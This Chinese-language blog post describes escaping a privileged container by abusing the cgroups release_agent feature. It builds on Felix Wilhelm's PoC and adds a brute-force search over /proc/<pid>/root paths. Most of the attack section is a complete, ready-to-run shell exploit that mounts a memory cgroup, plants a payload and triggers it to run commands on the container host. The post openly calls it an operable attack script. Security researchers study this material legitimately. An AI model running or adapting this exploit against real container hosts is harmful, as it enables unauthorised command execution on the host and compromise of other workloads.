特权容器逃逸 - 利用控制组release_agent实现主机命令执行

本文详细分析了利用cgroups release_agent功能从特权容器逃逸到主机执行任意命令的技术,包括原始PoC原理、边缘场景处理及改进的PID暴力破解技术,提供了完整可操作的攻击脚本。

特权容器逃逸 - 控制组release_agent技术分析

背景介绍

在容器化环境中进行漏洞挖掘时,一个常见主题是从容器逃逸到主机执行代码。本文将深入分析Felix Wilhelm(@_fel1x)报告的一种技术,通过滥用控制组(cgroups)的release_agent功能,从特权容器逃逸并在容器主机上执行任意命令。

特权容器的风险

特权容器通常用于CI/CD流水线中,以允许构建和发布Docker镜像。虽然攻破特权容器让攻击者更接近容器主机,但通常不能直接在主机上执行命令。

原始PoC技术原理

2019年7月,Felix Wilhelm发布了一个概念验证(PoC),展示了如何利用cgroups release_agent功能逃逸特权容器:

cgroups release_agent功能可以从特权容器触发,执行主机文件系统上的路径,该路径由release_agent文件的内容指定。关键在于release_agent文件中指定的路径必须相对于容器主机的根文件系统,而不是容器。

Felix的PoC通过解析容器根挂载点并提取upperdir挂载选项来识别容器内文件的主机路径。对于使用overlayfs的容器,这会暴露容器挂载的主机文件系统路径。

边缘场景处理

原始PoC在容器配置为使用暴露完整主机挂载点路径的存储驱动程序(如overlayfs)时工作良好,但某些配置不会明显披露主机文件系统挂载点:

Kata容器:默认通过9pfs挂载容器根文件系统,不披露容器文件系统在Kata容器虚拟机中的位置。

设备映射器:某些devicemapper存储驱动程序配置可能只显示设备路径(如/dev/sdc),而不显示完整的主机路径。

替代PoC方案

在这些情况下,原始PoC无法直接使用,但通过一些技巧仍然可以执行此攻击。

/proc文件系统利用

Linux的/proc伪文件系统暴露系统上所有进程的内核进程数据结构,包括在不同命名空间(如容器内)运行的进程。

关键发现:/proc/<pid>/root符号链接可以用作主机相对路径来访问容器内的任何文件。这改变了攻击要求,从需要知道容器内文件的完整主机相对路径,变为只需要知道容器内运行的任何进程的pid。

PID暴力破解技术

由于Linux进程ID是数字且顺序分配的,可以使用暴力增量搜索来识别容器内进程的主机进程ID:

1
2
3
4
COUNTER=1
while [ ! -f /proc/${COUNTER}/root/findme ]; do 
    COUNTER=$((${COUNTER} + 1))
done

完整攻击实现

结合这些技术,可以创建一个比Felix原始PoC更通用的攻击方案:

  1. 准备要在主机上执行的有效载荷脚本
  2. 设置使用内存资源cgroup控制器的cgroup挂载
  3. 使用暴力破解技术猜测pid路径/proc/<pid>/root/payload.sh
  4. 每次迭代将猜测的pid路径写入cgroups release_agent文件
  5. 触发release_agent执行,检查是否创建了输出文件

注意事项:此技术并不隐蔽,可能会显著增加pid计数,但由于没有保持长时间运行的进程,应该不会引起可靠性问题。

PoC脚本详解

提供的PoC脚本实现了以下功能:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# 运行一个可搜索的进程
sleep 10000 &

# 准备在主机上执行的有效载荷脚本
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
ps -eaf > \${OUTPATH} 2>&1
__EOF__

chmod a+x ${PAYLOAD_PATH}

# 设置cgroup挂载
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# 暴力破解主机pid直到创建输出路径或用尽猜测
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # 设置release_agent路径到猜测的pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # 触发release_agent执行
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# 等待并输出结果
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

执行结果

在特权容器内执行PoC脚本将提供类似以下的输出,显示主机上的所有进程信息,证明已成功逃逸到主机执行命令。

总结

感谢Felix Wilhelm发布了这种强大的特权容器逃逸技术的初始PoC。这种技术展示了容器安全中的关键漏洞,强调了正确配置容器权限的重要性。

有关cgroups release_agent工作原理的更多详细信息,请参阅内核文档。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计